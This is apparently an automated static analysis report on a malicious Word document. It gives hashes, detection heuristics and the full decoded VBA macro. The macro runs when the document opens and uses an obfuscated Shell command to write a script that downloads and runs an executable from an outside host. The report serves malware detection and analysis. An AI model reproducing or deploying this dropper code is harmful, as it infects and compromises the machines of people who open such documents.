Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8eb521c3a86303a3…

MALICIOUS

Office (OLE)

275.0 KB Created: 2018-05-16 10:16:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 035cd2b1279dbacdbf1e3b55b90cd817 SHA-1: 4fd50872add2eca31ca7432c11df4ea430915d55 SHA-256: 8eb521c3a86303a3eb027e8ca03aae651b352d641d974ef0898cce5080ccb5c8
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a Document_Open VBA macro that is heavily obfuscated. This macro attempts to download a file from "http://lang-french.tk/file/May PO.exe" and save it as "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy" (which appears to be a typo for BUHVM.EXE based on the Shell command). The script then attempts to execute this downloaded file, indicating a downloader or dropper functionality.

Heuristics 9

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell Chr(878 - 811) & Chr(912 - 835) & Chr(557 - 457) & Chr(695 - 663) & Chr(269 - 222) & Chr(439 - 340) & Chr(695 - 663) & Chr(439 - 340) & Chr(557 - 457) & _
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Shell Chr(878 - 811) & Chr(912 - 835) & Chr(557 - 457) & Chr(695 - 663) & Chr(269 - 222) & Chr(439 - 340) & Chr(695 - 663) & Chr(439 - 340) & Chr(557 - 457) & _
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     " & " & K7k & " X9t= ""http://lang-french.tk/file/May PO.exe"">>L7p.VBS &" & K7k & " P2e = P6m(""K^Q_V7NaN"")>>L7p.VBS &" & K7k & " Set G1f = CreateObject(P6m(""V\aVU;7aVUQ]]Y""))>>L7p.VBS &" & K7k & " G1f.Open P6m(""PN]""), X9t, False>>L7p.VBS &" & K7k & " G1f.send ("""")>>L7p.VBS  &" & K7k & " Set O3a = CreateObject(P6m(""JMXMK7\][NJV""))>>L7p.VBS &" & K7k & " O3a.Open>>L7p.VBS &" & K7k & " O3a.Type = 1 >>L7p.VBS  &@eCHo O3a.Write G1f.ResponseBody>>L7p.VBS &" & K7k & " O3a.Position = 0 >>L7p. …
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell Chr(878 - 811) & Chr(912 - 835) & Chr(557 - 457) & Chr(695 - 663) & Chr(269 - 222) & Chr(439 - 340) & Chr(695 - 663) & Chr(439 - 340) & Chr(557 - 457) & _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     " & " & K7k & " X9t= ""http://lang-french.tk/file/May PO.exe"">>L7p.VBS &" & K7k & " P2e = P6m(""K^Q_V7NaN"")>>L7p.VBS &" & K7k & " Set G1f = CreateObject(P6m(""V\aVU;7aVUQ]]Y""))>>L7p.VBS &" & K7k & " G1f.Open P6m(""PN]""), X9t, False>>L7p.VBS &" & K7k & " G1f.send ("""")>>L7p.VBS  &" & K7k & " Set O3a = CreateObject(P6m(""JMXMK7\][NJV""))>>L7p.VBS &" & K7k & " O3a.Open>>L7p.VBS &" & K7k & " O3a.Type = 1 >>L7p.VBS  &@eCHo O3a.Write G1f.ResponseBody>>L7p.VBS &" & K7k & " O3a.Position = 0 >>L7p. …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://lang-french.tk/file/May Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1628 bytes
SHA-256: df85430573c1ebea1782feec25459243e4e3557a2c6a0435232eabc2217f57cb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
K7k = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(878 - 811) & Chr(912 - 835) & Chr(557 - 457) & Chr(695 - 663) & Chr(269 - 222) & Chr(439 - 340) & Chr(695 - 663) & Chr(439 - 340) & Chr(557 - 457) & _
 Chr(695 - 663) & Chr(925 - 888) & Chr(1049 - 965) & Chr(782 - 713) & Chr(426 - 349) & Chr(875 - 795) & Chr(925 - 888) & _
 " & " & K7k & " X9t= ""http://lang-french.tk/file/May PO.exe"">>L7p.VBS &" & K7k & " P2e = P6m(""K^Q_V7NaN"")>>L7p.VBS &" & K7k & " Set G1f = CreateObject(P6m(""V\aVU;7aVUQ]]Y""))>>L7p.VBS &" & K7k & " G1f.Open P6m(""PN]""), X9t, False>>L7p.VBS &" & K7k & " G1f.send ("""")>>L7p.VBS  &" & K7k & " Set O3a = CreateObject(P6m(""JMXMK7\][NJV""))>>L7p.VBS &" & K7k & " O3a.Open>>L7p.VBS &" & K7k & " O3a.Type = 1 >>L7p.VBS  &@eCHo O3a.Write G1f.ResponseBody>>L7p.VBS &" & K7k & " O3a.Position = 0 >>L7p.VBS &" & K7k & " O3a.SaveToFile P2e, 2 >>L7p.VBS &" & K7k & " O3a.Close>>L7p.VBS &" & K7k & " function P6m(U1c) >> L7p.VBS &" & K7k & " For B9k = 1 To Len(U1c) >>L7p.VBS &" & K7k & " Z9c = Mid(U1c, B9k, 1) >>L7p.VBS &" & K7k & " Z9c = Chr(Asc(Z9c)- 9) >>L7p.VBS &" & K7k & " M3c = M3c + Z9c >> L7p.VBS  &" & K7k & " Next >>L7p.VBS &" & K7k & " P6m = M3c >>L7p.VBS &" & K7k & " End Function >>L7p.VBS  & L7p.VBS  &dEl L7p.VBS  & tIMeOUT 13 & BUHVM.EXE", vbHide
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.